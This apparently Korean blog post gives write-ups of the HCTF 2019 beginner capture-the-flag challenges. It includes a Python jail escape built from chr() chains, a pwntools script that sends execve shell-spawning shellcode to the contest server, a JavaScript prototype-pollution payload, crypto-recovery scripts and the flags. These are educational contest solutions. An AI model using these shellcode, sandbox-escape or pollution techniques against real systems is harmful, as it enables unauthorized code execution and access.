본문으로 바로가기

HCTF 2019 Beginner Section

category CTF/CTF Playground 2019. 11. 17. 23:50

newbie : Python Jail

exec를 필터링하지 않는다. 이중 exec와 chr를 사용한 문자열 조합으로 원하는 코드를 자유롭게 실행할 수 있다.

 

1
2
3
4
5
6
7
8
line = 'exec(\'print(__import__("os").listdir("./home/pythonjail"))\')'
line2 = 'exec(\'print(open("./home/pythonjail/flag").read(100))\')'
ans = ''
 
for c in line2 :
    ans += 'chr('+str(ord(c))+')+'
 
print(ans)

 

 

newbie : CryptoFile

CryptoFile 클래스에서 encrypt 실행 때 seed를 현재 시간으로 초기화한다. 암호화된 파일의 시간을 Epoch timestamp로 나타낸 값을 seed로 정한 뒤 복호화하면 원본 파일을 얻을 수 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from Crypto.Cipher import AES
import random
import string
 
def random_string(length) :
    strs = string.ascii_letters + string.digits
    result = ""
 
    for _ in range(length) :
        result += random.choice(strs)
 
    return result
 
def decrypt() :
    random.seed(1573570747)
 
    key = random_string(32)
    iv = random_string(16)
 
    enc_file = open('CryptoFile-Xp.NNRyUD7RQLVh''rb')
    dec_file = open('flag''wb')
 
    dec_file.write(AES.new(key, AES.MODE_CFB, iv).decrypt(enc_file.read()))
 
    enc_file.close()
    dec_file.close()
 
 
if __name__ == '__main__' :
    decrypt()

 

원본 파일 (PNG)

system : Baby Shellcode

특정 영역에 명령어를 쓸 수 있으며, 해당 영역에 진입하면서 RIP를 제외한 모든 레지스터들을 0으로 초기화한다.

shellcode 중 push를 사용하려면 RSP가 RWX 권한이 있는 영역에 놓여져야 한다. PIE가 걸려 있으니 RSP에 mov로 즉시값을 넣을 수는 없고 (이론적으로 안 될 이유는 없지만 확률이 너무 낮다), RIP를 사용해 해당 영역에 stack frame을 만드는 방법으로 문제를 해결할 수 있다. mov로 RIP를 직접적으로 옮기는 연산은 불가능하므로 lea를 사용했다.

 

풀이에는 RBP도 같이 세팅했는데 실제로는 필요 없다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
 
if len(sys.argv) == 1 :
    p = process("./babyshellcode")
else :
    p = remote('prob.hctf.icewall.org'32001)
 
'''
lea rsp, [rip+0x900]
lea rbp, [rip+0x800]
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3B
syscall
'''
 
shellcode = "\x48\x8D\x25\x00\x09\x00\x00\x48\x8D\x2D\x00\x08\x00\x00\x48\xBB\xD1\x9D\x96\x91\xD0\x8C\x97\xFF\x48\xF7\xDB\x53\x54\x5F\x99\x52\x57\x54\x5E\xB0\x3B\x0F\x05"
 
p.write(shellcode)
 
p.interactive()

 

 

reversing : Easy Reversing

비교문에서 a는 문자열의 index고 r은 해당 위치에 들어가는 문자다. 위치를 맞춰 각 글자를 전부 조합하면 플래그가 된다.

 

1
2
3
4
5
6
7
8
9
map = '23 97 19 74 9 95 22 95 6 118 1 67 26 95 7 101 28 111 35 105 29 117 31 99 3 70 2 84 8 110 44 116 32 97 17 101 24 110 43 105 14 104 12 99 10 103 38 112 39 101 34 95 37 115 25 100 18 95 45 125 21 84 40 99 11 99 16 118 30 95 41 116 13 95 4 123 42 95 5 101 20 73 15 97 0 72 33 110 27 121 36 110'.split()
flag = [None for i in range(len(map)/2)]
 
for i in range(len(map)/2) :
    flag[int(map[2*i])] = chr(int(map[2*i+1]))
 
print(''.join(flag))
 
# HCTF{even_gcc_have_JIT_and_you_can_inspect_it}

 

crypto : Easy Crypto

대회 당시에는 짝수 블럭과 IV를 xor 연산하면 원문이 보인다는 특징을 이용해서, 눈에 보이는 것과 그걸 바탕으로 잘 찍어서 (^^;) 대회 종료 직전 플래그를 따 냈다.

힌트로 DES weak key가 주어졌고, 위키에서 해당되는 키 목록을 하나하나 시도해보니 1F1F1F1F0E0E0E0E가 암호화에 사용되었던 키값임을 알아냈다. 대회 때도 이를 시도해 봤는데, 바이트로 변환하는 과정에서 pwntools의 p64를 사용해 바이트 배열이 뒤집혀서 복호화가 잘 안 됐던게 패인이었다.

 

1
2
3
4
5
6
7
from Crypto.Cipher import DES
 
ct = open('flag.enc''rb').read()
KEY = '1F1F1F1F0E0E0E0E'.decode('hex')
IV  = "87654321"
des = DES.new(KEY, DES.MODE_OFB, IV)
print(des.decrypt(ct))

 

 

web : Baby Web

javascript prototype pollution

힌트로 주어진 prob.js를 보면 write에 tmp_guest[d.month][d.day] = d.contents; 코드가 있다.

d.month에 "__proto__", d.day에 "user", d.contents에 login 때 쓴 자기 닉네임 넣고 /secret 들어가면 플래그를 준다.

힌트 없이 풀 방법은 잘 모르겠다. 필드명 때려맞추는거부터 게싱 문제일듯..

 

 

HCTF{Rolly_Polly_Rolly_Rolly_Polly}

 

'CTF > CTF Playground' 카테고리의 다른 글

Rice Tea Cat Panda  (0) 2020.01.22
Christmas CTF  (0) 2019.12.25
Kipod After Free CTF 2019  (0) 2019.12.22
TUCTF 2019  (0) 2019.12.01
Newbie CTF 2019  (0) 2019.11.02